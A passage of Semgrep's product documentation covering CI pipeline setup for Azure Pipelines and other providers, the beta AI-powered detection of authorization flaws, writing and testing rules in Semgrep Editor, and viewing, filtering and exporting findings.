if [ $(Build.SourceBranchName) = "master" ]; then
echo "Semgrep full scan"
semgrep ci
elif [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
echo "Semgrep diff scan"
export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
export SEMGREP_BASELINE_REF='origin/master'
git fetch origin master:origin/master
semgrep ci
fi
env:
SEMGREP_APP_TOKEN: $(SEMGREP_APP_TOKEN)
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
### Set environment variables in Azure Pipelines
Semgrep minimally requires the variable `SEMGREP_APP_TOKEN` in order to report results to the platform, and other variables may be helpful as well. To set these variables in Azure Pipelines:
Set up a [variable group](https://learn.microsoft.com/en-us/azure/devops/pipelines/library/variable-groups?view=azure-devops\&tabs=classic) called `Semgrep_Variables`.
Set `SEMGREP_APP_TOKEN` in the variable group, following the steps for [secret variables](https://learn.microsoft.com/en-us/azure/devops/pipelines/process/set-secret-variables?view=azure-devops\&tabs=yaml%2Cbash#set-a-secret-variable-in-a-variable-group). The variable is mapped into the `env` in the provided config.
Optional: Add the following environment variables to the group if you aren't seeing hyperlinks to the code that generated a finding, or if you are not receiving PR or MR comments. Review the use of these variables at [Environment variables for creating hyperlinks in Semgrep AppSec Platform](/semgrep-ci/ci-environment-variables#environment-variables-for-creating-hyperlinks-in-semgrep-appsec-platform).These variables are not sensitive and do not need to be secret variables.
* `SEMGREP_REPO_NAME`
* `SEMGREP_REPO_URL`
* `SEMGREP_BRANCH`
* `SEMGREP_COMMIT`
* `SEMGREP_JOB_URL`
Set variables for diff-aware scanning. The provided config sets `SEMGREP_PR_ID` to the system variable `System.PullRequest.PullRequestId` and `SEMGREP_BASELINE_REF` to `origin/master` within the `script` section of the config. The value of `SEMGREP_BASELINE_REF` is typically your trunk or default branch, so if you use a different branch than master, update the name accordingly. as `main` or `master`.
* If you prefer not to implement diff-aware scanning, you can skip setting these variables and remove the `elif` section of the `script` step.
For diff-aware scans: add a [build validation policy](https://learn.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops\&tabs=browser#build-validation). Adding and enabling a branch policy for build validation is required to trigger Azure Pipelines on pull requests.
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
- script: |
python -m pip install --upgrade pipx
pipx install semgrep
echo "Semgrep CE full scan"
semgrep scan --config auto
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
## Other providers
To run Semgrep CI on any other provider, use the `semgrep/semgrep` image, and run the `semgrep ci` command with `SEMGREP_BASELINE_REF` set for diff-aware scanning.
**NOTE**:
If you need to use a different Docker image or are not running in Docker, install Semgrep CI with [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/) using `pipx install semgrep`, or with [`uv`](https://docs.astral.sh/uv/) using `uv tool install semgrep`.
By setting various [CI environment variables](/semgrep-ci/ci-environment-variables), you can run Semgrep in the following CI providers:
* AppVeyor
* Bamboo
* Bitrise
* Buildbot
* Codeship
* Codefresh
* Drone CI
* Semaphore
* TeamCity CI
* Travis CI
Is your CI provider missing? Let the Semgrep team know by [ filing an issue](https://github.com/semgrep/semgrep-docs/issues/), or [ submit a contribution](https://github.com/semgrep/semgrep-docs/pulls/).
# AI-powered detection (beta) overview
Source: https://docs.semgrep.dev/semgrep-code/ai-powered-detection-concepts
Semgrepβs AI-powered detection combines the precision of static analysis with the contextual reasoning of large language models (LLMs). With AI-powered detection, you can automatically identify complex business logic flaws, such as insecure direct object references (IDORs) and broken authorization.
AI-powered detection is part of [Semgrep Multimodal](/semgrep-multimodal/overview), which uses artificial intelligence (AI) to scan code, triage findings, and provide remediation guidance.
This page covers the kinds of issues AI-powered detection is designed to uncover, known limitations during the beta period, and practical considerations such as billing and data privacy.
For step-by-step instructions on enabling and running an AI-powered scan, see [Scan with AI-powered detection](/deployment/add-ai-to-scans).
## Detection and scope
### IDORs and other business logic flaws
A business logic flaw is any weakness in an applicationβs design or workflow that makes its legitimate features vulnerable to malicious use. Semgrepβs AI-powered detection focuses on authorization flow gaps that fall outside standard vulnerability categories:
* **IDOR and ownership gaps**: accessing another userβs resource when ownership or tenant checks are missing, misplaced, or only client-side.
* **Order and sequence mistakes**: state changes or token resets happening after sensitive reads/writes, or actions allowed in the wrong state.
* **Workflow abuse, or OWASP logic manipulation**: skipping required steps, like shipping before checkout or refunds without a completed purchase.
Traditional Semgrep SAST **can** be configured to catch IDORs. However, because this requires understanding how the app in question handles authorization and database access, it is difficult to write generic rules that detect IDORs across all software applications. With Semgrepβs AI-powered detection, it is now possible to find IDORs and other business logic bugs without the need for extensive custom rule development.
### Determinism of AI-powered detection findings
AI-powered detection findings are inherently non-deterministic. Because AI scans rely on probabilistic reasoning, repeated scans may not always produce identical results. However, Semgrepβs scanning engine helps make them more reliable. As with any automated security finding, you must review scan results carefully.
## Setup, billing, and integrations
### SCM support and AI providers
AI-powered detection builds on Semgrep's existing integration framework, such as GitHub, GitLab, and Bitbucket.
During beta, you can choose between OpenAI and Amazon Bedrock AI providers.
### Credits required for AI actions
See [Usage and billing](/usage-and-billing/overview#ai-credits) for information about credits required for AI actions.
### Data privacy and finding severity
The data privacy policy is similar to that described in [Data privacy and legal considerations](/semgrep-multimodal/privacy), with a few exceptions.
Currently, all AI findings are assigned the same severity, which is **high**, and donβt have other attributes like confidence.
## Known bugs and limitations
This feature is in beta. Here are some known issues:
**Scan limitations:**
* Only full scans are supported.
**Findings limitations:**
* AI findings are not included in the Reporting/Dashboard.
* Custom rules are not supported for AI-powered detection.
## Troubleshooting and disclaimers
For help with AI-powered detection, contact your organizationβs **Semgrep account manager** or **Semgrep [support](/support)**.
Beta program notice:
* No formal uptime guarantees; service is best-effort during beta.
* Features, performance, and APIs may change without notice. Planned maintenance will be communicated in advance when possible.
* Any stated Service Level Objective (SLO) is not a commercial Service Level Agreement (SLA) and may be revised as the product evolves.
# Write rules using Semgrep Editor
Source: https://docs.semgrep.dev/semgrep-code/editor
**Semgrep Editor** allows you to write rules, verify their performance through tests, and add them to your organizationβs [Policies page](/semgrep-code/policies) to enforce code standards and increase code security.
The Editor is free to use on all subscription tiers.
## Access Semgrep Editor
Sign in to your [Semgrep AppSec Platform account](https://semgrep.dev/login).
Click **Rules > Editor**.
Do any of the following steps:
i. To create a new rule, click on the **(+) plus sign** or **Create new rule** button.
ii. To open any rule youβve recently edited, select it from the **Recent** list.
iii. To view a sample rule, select it from the **Examples** list. The rule renders within the Editor.
iv. To start a tutorial or read the docs, select it from the **Learn** list. This navigates you away from the Editor.
## View a rule
Semgrep Editor is composed of three panes and a top menu.
**Library**
View and open rules owned by your organization or available through the [Semgrep Registry](https://semgrep.dev/r).
**Rule editor**
Enter your rule's YAML in this pane. This pane supports both structure and advanced modes. This pane also contains metadata editing functionality in Structure mode, and match review functionality in Advanced mode.
**Sample code**
Enter test code in this pane and click **Run** to verify that the rule performs as intended. A matches panel appears after Semgrep runs to display matches and tests.
**Top menu**
Save, share, and add your rule to one of your policies.
### Group Registry rules
By default, Semgrep Registry rules are grouped by **directory**. Most of these directories correspond to languages. The Library can also be grouped by **rulesets**, which are rules sorted by category, such as security, best practices, and frameworks.
To group by ruleset, right-click on the empty space on the registry's name entry and select **Group by ruleset**.
## Create a rule
To create a rule, click **Create rule** on the splash page or the **(+) sign** next to the Library label.
Semgrep Editor offers two rule-writing modes:
**Structure mode (beta)**
Structure mode is a hybrid interface that offers guidance for rule writing while supporting additional features the way advanced mode does.
**Advanced mode**
Advanced mode provides the minimum required YAML keys for a Semgrep rule. To complete the rule, you must fill in additional keys, such as pattern operators or metadata.
### Write a rule using structure mode (beta)
Structure mode is a UI-based ruled writing editor that guides you through the process of writing a rule.
Structure mode features include:
* **Match badges**: Match badges are visual indicators paired with pattern operators. The match badge shows the number of matches associated with each pattern operator.
* **Automatic indentation**: When adding a new pattern to a nested operator such as `patterns` or `pattern-either`, the editor automatically indents sub-patterns correctly.
* **Differentiation between patterns and pattern constraints**: A pattern is one of six different operators that describes zero or more locations in a rule. These include `pattern`, `any`, `all`, `inside`, `regex`, and `not`. You can combine these in prescribed ways, such as `any` and `all`, using range union and intersection, but they still define ranges. Pattern constraints describe Boolean constrains that must be met for a match to occur. If the constraint doesn't hold, then the ranges determined by the pattern operators aren't applicable.
* **Interoperability with advanced mode**: You can write a rule using structure mode and view or export it in YAML, or you can paste in the YAML for a rule and edit it with structure mode.
* **Drag and drop**" You can move around the elements of a rule using drag and drop.
* **Pattern disabling**: You can toggle individual patterns on or off for actions like testing.
To write a **search** rule using structure mode:
Ensure that you are in **structure** mode.
Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
Specify the pattern if applicable. Example: `print("...")`.
Optional: specify a constraint by clicking on the **filter** icon.
i. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
ii. Provide the pattern for the code for which the constraint should be applied.
Select the child operator and specify its pattern, if applicable. You can add as many child elements as you need. These child elements can also have their own constraints.
Optional: Expand the **Rule info** panel, and update the following fields:
i. Rule ID: the name of the rule
ii. Language: the language of the code for which this rule runs against
iii. Severity: the severity level of the finding if this rule generates a match
iv. Message: the message to print with the finding if this rule generates a match
Click **Run** or press Ctrl+Enter (β+Enter on Mac).
To write a **taint** rule using structure mode:
Ensure that you are in **structure** mode. and that you have selected **taint**.
Define your **Sources**.
i. Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
ii. Specify the pattern if applicable. Example: `print("...")`.
iii. Optional: specify a constraint by clicking on the **filter** icon.
ββa. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
ββb. Provide the pattern for the code for which the constraint should be applied.
Define your **Sinks**.
i. Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
ii. Specify the pattern if applicable. Example: `print("...")`.
iii. Optional: specify a constraint by clicking on the **filter** icon.
ββa. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
ββb. Provide the pattern for the code for which the constraint should be applied.
Add **Sanitizers**.
i. Select your first operator. Options include: `pattern`, `any`, `all`, `inside`, `regex`.
ii. Specify the pattern if applicable. Example: `print("...")`.
iii. Optional: specify a constraint by clicking on the **filter** icon.
βa. Specify whether the constraint is `focus`, `comparison`, or `metavariable`.
βb. Provide the pattern for the code for which the constraint should be applied.
Optional: Expand the **Rule info** panel, and update the following fields:
i. Rule ID: the name of the rule
ii. Language: the language of the code for which this rule runs against
iii. Severity: the severity level of the finding if this rule generates a match
iv. Message: the message to print with the finding if this rule generates a match
Click **Run** or press Ctrl+Enter (β+Enter on Mac).
### Write a rule using advanced mode
Advanced mode is a YAML editor that allows you to write rules using [Semgrep syntax](../writing-rules/rule-syntax/).
**RULES SYNTAX**
Refer to [Rule syntax](/writing-rules/rule-syntax) for all possible fields and values to create a rule.
To quickly learn Semgrep patterns and syntax, explore the Editorβs library of rules from the **public [Rule Registry](https://semgrep.dev/explore)**. Rules from the Registry can detect OWASP vulnerabilities, best practice violations, and security issues for a wide variety of languages and frameworks. Semgrep Editor enables you to **adapt these rules** for your own organization's use by [forking](#write-a-new-rule-by-forking-an-existing-rule) them.
To write a rule in advanced mode:
Ensure that you are in **advanced** mode.
Click the **plus sign** and select a template. The **New rule** template includes the minimum keys required for a Semgrep rule, but there are additional templates that can help you write more complex rules:
* **Metavariable-comparison**: demonstrates how to use [the `metavariable-comparison` key](/writing-rules/rule-syntax/#metavariable-comparison)
* **Metavariable-pattern**: demonstrates how to use [the `metavariable-pattern` key](/writing-rules/rule-syntax/#metavariable-pattern)
* **Dataflow analysis**: demonstrates how to leverage dataflow analysis through [`pattern-sources`](/writing-rules/data-flow/taint-mode/overview#sources), [`pattern-sinks`](/writing-rules/data-flow/taint-mode/overview#sinks), and [`pattern-sanitizers`](/writing-rules/data-flow/taint-mode/overview#sanitizers).
* **Dataflow analysis with taint labels**: demonstrates [how to define the sources you want to track and how data must flow](/writing-rules/data-flow/taint-mode/advanced#taint-labels-)
* **HTTP validators**: Demonstrates how to write [Semgrep Secrets rules](/semgrep-secrets/rules/) that include [validators](/semgrep-secrets/validators/)
Modify the template, adding and changing the keys and values needed to finish your rule.
Optional: Click **Metadata** to update and enter additional metadata fields.
Click **Run** or press Ctrl+Enter (β+Enter on Mac).
**SYNTAX ISSUES**
Semgrep Editor won't save or run your rule if it can't parse the YAML syntax of your rule. Fix any issues indicated by the red annotations before proceeding.
## Run and test a rule
After you write a rule, testing it ensures it performs as expected. To test a rule:
Create at least one **true positive**: a code sample intended to match the rule.
Above this potential match, create a comment, followed by a space (` `), followed by `ruleid:RULE_ID` which specifies the rule that should match. In the preceding example, this is `// ruleid:hardcoded-conditional`.
Create at least one **true negative**: a code sample intended not to match the rule.
Above this non-match, create a comment followed by a space (` `), followed by `ok:RULE_ID`. For example, `// ok:hardcoded-conditional`.
Optional: add more code samples with their corresponding annotations.
Click **Run**. Semgrep detects the annotations and validates the rule based on your tests.
In addition to testing for matches, you can test that your rule doesn't match what it shouldn't, preventing false positives. To do so, you can [create comment annotations for intended and unintended findings](/writing-rules/testing-rules/) in **test code**.
Once you've written a rule and created comment annotations, you can run your rule against your comment annotations by clicking **Run**. You can also press Ctrl+Enter (β+Enter on Mac).
## Code search (beta)
Code search allows you to test a Semgrep rule by running it against one or more GitHub repositories or projects instead of just a few lines of test code. Its results highlight all instances of matching code in those target repositories, allowing you to see whether your rule works as intended or not. This rapid feedback can help you develop more accurate and effective rules.
The [Semgrep Network Broker](/semgrep-ci/network-broker) does not support code search at this time.
### Prerequisites
* Code search is currently available to all paying customers of Semgrep Code.
* You must grant Semgrep code access by [installing the private Semgrep GitHub app](#install-the-private-semgrep-github-app-to-enable-code-access) if you would like to run code search against your repositories. Otherwise, you can run code search against public repositories.
#### Install the private Semgrep GitHub app to enable code access
The private app must be installed by a **GitHub organization administrator**. If you are not an admin, an installation link is provided for you to share with your GitHub admin.
Click ** Settings > Source Code Managers**.
Click **Register App**.
Follow the steps to install a private GitHub app in your org. Ensure that you enter your exact GitHub organization name and the correct type of GitHub account, typically **Organization**.
Click **Register GitHub App**.
If you are an admin on the GitHub organization, click **Continue**. Otherwise, share the provided link with your GitHub administrator.
Follow the prompts in GitHub to install the private app. Ensure that you grant access to the repositories you want to scan.
**RUNNING INTO A 404?**
If you are brought to a GitHub 404 page, return to your [ GitHub Applications](https://github.com/settings/installations) page.
**INFO**
Code search currently works with repositories or projects hosted by GitHub.
To run your rule against selected repositories or projects:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Rules > Editor**, and open up the rule you want to test.
In the **code panel** click **live code**.
Select the repositories against which you want the rule to run. You can use the search bar to narrow down the list of repositories shown. Semgrep currently supports both public repositories and private repositories available to your Semgrep organization.
Optional: If you're running your rule against multiple repositories, select the **Limit to first result per repository** checkbox to see only the first result per repository. This speeds up your search and allows you to receive your results faster.
Click **Run** to start the search.
When the search completes, you'll see a list of results where the rule generated a finding when run against your codebase. The links, which include filenames and line numbers, take you to GitHub, where you can view and remediate the issue.
## Set a ruleβs visibility and share a rule
Upon saving, a ruleβs visibility is **private** by default. A private rule is visible only to members within an organization.
* To share a rule outside your organization, click **Share > Public > Confirm**. If you want to share this specific version of the rule, you can also toggle Permalink. This provides a shortlink to this version of the rule, which will not change if the rule is modified.
* To share a private rule with those who can access it, click **Share** and copy the **URL link**.
Some older rules in Semgrep AppSec Platform may be **unlisted** rather than private. These rules are marked with an icon without a lock, and can be shared with anyone, including those who cannot access Semgrep AppSec Platform.
To change an unlisted ruleβs visibility to private for increased security, click **Share > Private > Confirm**.
## Rename a rule
To rename a rule, enter the new name in the YAML editorβs `id` field. The, save the rule by entering Ctrl+S (β+S on Mac) or clicking the **Save** button.
## Delete a rule
To remove a private rule, follow these steps:
In the [Semgrep Editor](https://semgrep.dev/orgs/-/editor), find the private rule to delete under the **Library** tab. Private rules are usually stored in the folder with the same name as your Semgrep AppSec Platform organization.
Click the rule you want to delete, and then click the three vertical dots.
Click **Delete**.
Deleting a rule is permanent. If the rule was previously added to the **Policies** page, it is removed upon deletion.
## Add a rule to the Policies page
The **[Policies](/semgrep-code/policies/)** page displays rules that Semgrep Cloud Platform uses to scan your project's code. Rules added to the **Policies** page become part of every Semgrep scan you run.
When adding a rule to your **Policies** page, you must also set the **rule mode** that determines what actions Semgrep performs when that rule generates a finding. See [Policies](/semgrep-code/policies/#block-a-pr-or-mr-through-rule-modes) for more information on each rule mode.
To add a rule to the **Policies** page:
Ensure you're [signed in to Semgrep](https://semgrep.dev/login).
Click **Add to Policy**.
Select one of the following rule mode options based on the relevance of the rule: **Monitor mode**, **Comment mode**, or **Block mode**.
If successful, you'll see a pop-up window indicating that your rule has been added.
## Organize private rules
All private rules for an organization are saved to the organization's folder. To further organize rules, consider organizational naming conventions to facilitate searching for and identifying rules. Useful naming conventions might include internal team, rule language, or vulnerability category.
## Semgrep Registry rules
The [ Semgrep Registry](https://semgrep.dev/explore/) is a community-driven repository of rules. These rules can detect OWASP vulnerabilities, best practice violations, and security issues for various languages and frameworks. You can fork an existing rule to use as a starting point for writing your own.
### Write a new rule by forking an existing rule
One way to create new rules is to fork an existing rule in the Semgrep Registry and modify it to meet your software and business requirements.
For example, Semgrepβs Java `crypto` ruleset prohibits the use of weak hashing algorithms `SHA-1` and `MD5`. However, your organization also prohibits the use of other hash functions as part of its standards or security compliance. The following steps illustrate the process of forking an existing `use-of-sha1` rule and changing it to forbid MD2 hashes.
Use the search bar to find relevant rules. For this example, you can search for rules using `SHA1`.
Under **java > lang > security > audit > crypto**, click **use-of-sha1** to load the rule. You cannot directly edit the rules in Semgrep Registry, so click **Fork** to make a copy.
Alternatively, you can right-click the rule's name and select **Fork rule**.
Semgrep copies the rule to your organization's set of rules.
Edit the rule.
Update your test cases.
Click **Run** to test and validate your rule.
When you finish your changes, click **Save**.
The following example shows how [the original rule, identifying uses of `SHA-1` and `MD5`, has been modified to find uses of MD2](https://docs.oracle.com/javase/9/specs/security/standard-names.html#messagedigest-algorithms) and the severity of such findings is increased from `WARNING` to `ERROR`.
When you fork a rule, the copy is independent from the original. To run your new rule in your scans, [add it to a policy](/semgrep-code/policies#add-rules). If you want your copy to replace the rule you forked, add it to a policy, then disable the original on the Policies page.
### Contribute to the Semgrep Registry
**INFO**
For general contributing guidelines, see [Contributing rules](/contributing/contributing-to-semgrep-rules-repository).
To have your rule accepted faster, include the following:
* Include **test cases** for both a true positive and a true negative. See [Tests](/contributing/contributing-to-semgrep-rules-repository/#tests) for more details.
* Include a descriptive rule **message**. See [Rule messages](/contributing/contributing-to-semgrep-rules-repository/#rule-messages) for more information.
* Include **metadata fields**. See [Semgrep registry rule requirements](/contributing/contributing-to-semgrep-rules-repository/#semgrep-registry-rule-requirements) for more information.
To **create a PR** from the Semgrep Editor:
Click **Share**.
(Optional) Click **Publish to Registry**.
Fill in the required and optional fields.
Click **Continue**, and then click **Create PR**.
# View findings' details
Source: https://docs.semgrep.dev/semgrep-code/finding-details
The finding's details page displays in-depth information about the finding, including:
* A detailed description of the finding
* Rule details, including the rule pattern itself, the vulnerability class, and identifiers such as the CWE ID
* Finding details, such as when the finding was identified, the project and branch name, and commit ID where the issue was introduced
* The code snippet where the issue was identified, along with a link to the source code where Semgrep identified the issue
* Suggested fixes for the issue, either generated by Semgrep Multimodal or from the rule itself
* Rule-defined fixes from the rule itself, when available
* Activity history for the finding, including when it was first identified, whether it has been analyzed by Semgrep Multimodal, whether there are any accompanying Jira tickets, notes written by other Semgrep users specifically about this finding, and more.
## View a finding's details
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**.
Identify the finding whose details you want to view:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
### Semgrep Multimodalβs rule and analysis explanation
When Semgrep Multimodal is enabled and classifies a finding as a true or false positive, an alert appears at the top of the findingβs details page. You can also view a detailed explanation that, if applicable, includes steps to exploitability in the **Finding description** tab.
For true positives, the detailed explanation includes a summary and rationale for why the finding was flagged. It draws on the code that matched the rule pattern and the surrounding code to provide context for the rule message. For security-related rules, it also explains how the finding relates to the ruleβs threat model.
For false positives, the explanation contains only Multimodalβs reasoning, without additional code context. Some explanations refer to memories, which Multimodal uses to determine whether a finding is a false positive. However, memories are not used when generating the explanation itself.
If Multimodal flags a finding as a false positive, you can provide feedback by selecting **Agree and Ignore** or **Disagree**.
## Dataflow traces
Dataflow traces allow you to visualize the path of tainted, or untrusted, data in findings. This path can help you track the sources and sinks of the tainted data as they propagate through the body of a function or a method. For general information about taint analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
### View dataflow traces
**PREREQUISITE**
Not all Semgrep rules or rulesets make use of dataflow traces, or taint tracking. Ensure that you have a ruleset, such as the **default ruleset** added in your **[Policies page](https://semgrep.dev/orgs/-/policies)**. If this ruleset is not added, go to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policy**. You can add rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
To view the detailed path of tainted data with dataflow traces:
Log in to Semgrep AppSec Platform, and click **[Code](https://semgrep.dev/orgs/-/findings)** in the **navigation bar** to view your findings.
Select the finding you're interested in, then do one of the following actions:
* If the default **Group by Rule** is enabled, click **View details** icon on the card of the finding.
* If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding. In the example screenshot below, the link is titled **tainted-sql-string**.
In the section titled **Your code**, you can see the source, traces, and sink of the tainted data. Clicking on a specific line in the trace will highlight it in the context of the file, while clicking on the file name at the top of the right pane will take you directly to that file in your source code manager, such as GitHub or GitLab.
## Available actions on the finding details' page
Click on the **kebab** icon to see the menu that includes the following options:
* **Mark as reviewing** to change its status to **Reviewing** and flag the finding as one that is under further manual review
* **Copy file path** of the source code where Semgrep identified the issue
* **Copy link** to the finding's details page
### Scan with Multimodal
If the finding has not been analyzed by Multimodal, click the **Analyze** button to begin analysis. Multimodal can:
* Recommend whether the finding should be fixed or ignored
* Provide remediation guidance and, when enabled, [Suggested fix](/semgrep-multimodal/overview#suggested-fix) suggestions on how to fix the finding
* Tag the finding with a component tag, such as `auth` or `payments`.
### Ignore the finding
Click **Ignore...** to ignore the finding. Provide an **Ignore reason**, and add **Comments** on why you think that this finding should be ignored.
If the file for the finding in question is a test file or something similar, you can choose the **Ignore files in future scans...** option, then select the file. Semgrep ignores the file in subsequent scans.
Click **Ignore** to proceed.
### Fix the finding
Click **Fix** see the menu that includes the following options:
* View the associated Jira ticket, if available
* Open a PR that fixes the issue, if possible
* Change the status of the issue as **To fix**, indicating that you plan to return to the finding in the future
Semgrep automatically marks findings as fixed when they're no longer detected in subsequent scans.
### Add notes to findings
To **add notes** to the activity history of a finding:
Select a finding where you want to view details or add notes, and then do one of the following actions:
* If the default **Group by Rule** is enabled, click **Details** icon on the card of the finding.
* If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
Go to the **Activity** section, then click **New note**.
# View findings in Semgrep AppSec Platform
Source: https://docs.semgrep.dev/semgrep-code/findings
Semgrep Code generates a **finding** when a rule matches a piece of code in your codebase. You can use Semgrep AppSec Platform's [**Code** page](https://semgrep.dev/orgs/-/findings) to view all of the findings generated by Semgrep Code after it scans your codebase.
## View findings
To view your findings in Semgrep AppSec Platform:
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**.
By default, Semgrep displays your **Priority** findings. Priority findings are defined as findings that:
* Are categorized as **Security** findings. You can identify findings categorized under **Security** using the badge.
* Are flagged with a severity level of **critical** or **high**
* Are flagged with a confidence level of **high**
* Are flagged by Semgrep Multimodal as likely being a **true positive** or has *not* been analyzed by Multimodal yet
You can switch to the **All** tab at any point to view all findings identified by Semgrep Code. Both the **Priority** findings view and the **All** findings view display high-level information about your findings.
The **Priority** tab displays all available findings filters. The findings filters shown are not limited to those pre-selected by Semgrep. This allows you to customize the **Priority** tab to meet your organization's requirements and display the findings you categorize as priorities.
**LOCAL SCANS**
Findings from local scans are differentiated from their remote counterparts through their slugs. Remote repositories are identified as ACCOUNT\_NAME/REPOSITORY\_NAME, while local repositories are identified as local\_scan/REPOSITORY\_NAME.
### Custom Priority tab
Semgrep admins can create a custom priority definition to change the findings shown on the **Priority** tab. To do so:
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**. Ensure that you're viewing the **Priority**.
Using the provided filters, set your parameters for priority findings.
Click **Save**.
You'll see a dialog window asking you to confirm that you want the changes saved for everyone. Click **Save** to proceed.
This change applies to the entire Semgrep organization. You cannot have separate priority definitions for individual users or teams.
## Filter findings
Regardless of whether you use the **Priority** findings view or the **All** findings view, there are multiple grouping and filtering options available to you.
### Time period
The time period filters allow you to see which vulnerabilities were opened, fixed, or triaged during a certain period of time. The time period filter is **not** additive; it is a filter operation that precedes other filters on the page. For example, if you select **Last triaged** and select the status **Status Open** filter, no findings appear because, by definition, there are no triaged findings that are also open.
The following filters are available:
* Triage state update action:
* Opened in
* Triaged in
* Fixed in
* Time period:
* Last day
* Last 7 days
* Last 30 days
* Last 3 months
* Last 6 months
* Last year
* All time
### Project
The **Project** filter allows you to search for findings associated with the selected projects.
### Status
The **Status** filter allows you to search for findings in the selected statuses. See [Triage status](/semgrep-code/triage-remediation#triage-statuses) for additional information.
### Additional filters
Semgrep offers additional filters that you can use to narrow down your results. The following filters are available:
| Filter | Description |
| :------------------------------------------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Severity** | Filter by the severity of a finding. Severity is computed based on the values assigned for [Likelihood](/contributing/contributing-to-semgrep-rules-repository/#likelihood) and [Impact](/contributing/contributing-to-semgrep-rules-repository/#impact) by the rule's author. Possible values:
Low
Medium
High
Critical
|
| **Category** | Filter by the type of security issue or vulnerability the rule detects, such as `security`, `correctness`, and `maintainability`. You can select more than one category at a time. See [Finding categories](#finding-categories) for information on how Semgrep categorizes your findings. |
| **Confidence** | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
| **Rule mode** | Filter by monitoring, commenting, or blocking rules in your Policies. |
| **Rule** | Filter by rules included in your Policies page. You can select more than one rule or ruleset for filtering. |
| **Ruleset** | Filter by the ruleset name where rules that match the code belong. More than one rule or ruleset can be selected for filtering. |
| **Pro findings only** | Filter for findings identified using Semgrep Pro rules. Also includes findings originating from cross-file or cross-function analysis. |
| **Code lifecycle** | Filter for findings based on whether they are **Production** findings or **Pre-production** findings. **Production** findings are those identified on primary branches, while **Pre-production** findings are those identified on pull request or merge requests. |
| **Project** | Filter for findings based on the tags associated with the project. |
| **Teams** | Filter for findings in projects owned by the selected teams. |
| **Multimodal file risk level** | Filter for findings based on Multimodal's assessment of risk level of files based on the type of code identified. High-risk files contain sensitive information, such as authorization and authentication details, while low-risk files may be things like test files. You can further filter by file type, such as **payments** or **tests**. |
| **Multimodal autotriage** | Filter by whether [Multimodal autotriage](/semgrep-multimodal/overview#autotriage) has determined the finding to be a **True positive** or **False positive**. |
#### Finding categories
A finding can be categorized in two ways:
1. **Finding categorization based on the issue or code it detects**:
* Anti-patterns
* Security vulnerabilities, such as dangerous function usage
* Business or logic bugs
* Matches based on your own custom rules, such as organization-specific authentication logic
Semgrep rules provide a metadata schema to identify these common categories. Semgrep findings include a `message` field that describes the security issue or bug found in matching code. Additionally, findings can provide a `fix` field that fixes the issue by creating a suggestion within your source code management (SCM) tool, such as GitHub, GitLab, and Bitbucket.
2. **Finding categorization based on the validity of the match**:
* **True positive**: Rules are written to match a certain code pattern. A true positive is a genuine match. The rule is capturing the code as intended.
* **False positive**: A false positive is a mismatch between the intended purpose of the rule and the code it matched. A finding is generated but does not meet the rule's intended need. Rules with a high false positivity rate are said to be **noisy**.
* **False negative**: A false negative is a finding that should have been found by a rule, but was not. This can happen for two reasons:
1. A flaw in the rule's logic. See Reporting false negatives.
2. A bug within Semgrep itself. See the list of Semgrep issues to file a bug report.
## Group and sort findings
By default, Semgrep displays your findings using the **Group by Rule** view. This view shows your findings grouped by the rule Semgrep used to match the code. Your findings are shown sorted **by severity**, but you can opt to sort **by number of findings** for a given rule.
For a given severity, Semgrep further sorts findings as follows:
1. Findings generated by custom rules
2. Findings generated by [Pro rules](/semgrep-code/pro-rules)
3. Issue count in descending order
4. Findings ID in ascending order
To view findings individually, click **Group & sort > No grouping**. Findings are displayed based on the date they were found, with the most recent finding listed at the top.
## Export findings
You can export findings to a **CSV** file. Semgrep can export up to **10,000 most recent findings**. To export more than 10,000 findings, you must use the [API](/api-reference/v1/Introduction).
Semgrep exports all findings to the CSV file regardless of the filters you apply on the page.
Export findings by navigating to the product page and clicking the ** icon** near the **Group & Sort** filters.
| Field | Description |
| :-------------------- | :---------------------------------------------------------------------------------------------------------------------------------------- |
| Id | The unique ID number of the finding. |
| Rule name | The name of the rule. |
| Product | The Semgrep product. Possible values are **Code**, **Code (AI)**, **Supply Chain**, or **Secrets**. |
| Severity | The finding's severity. Possible values are **Critical**, **High**, **Medium**, or **Low**. |
| Status | The finding's triage status. |
| Confidence | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
| Multimodal component | A descriptor, such as `API`, `Payments processing`, `Infrastructure`, that Multimodal tags the finding with, based on the code's context. |
| Repository name | The name of the repository where Semgrep found the finding. |
| Repository URL | The repository URL. |
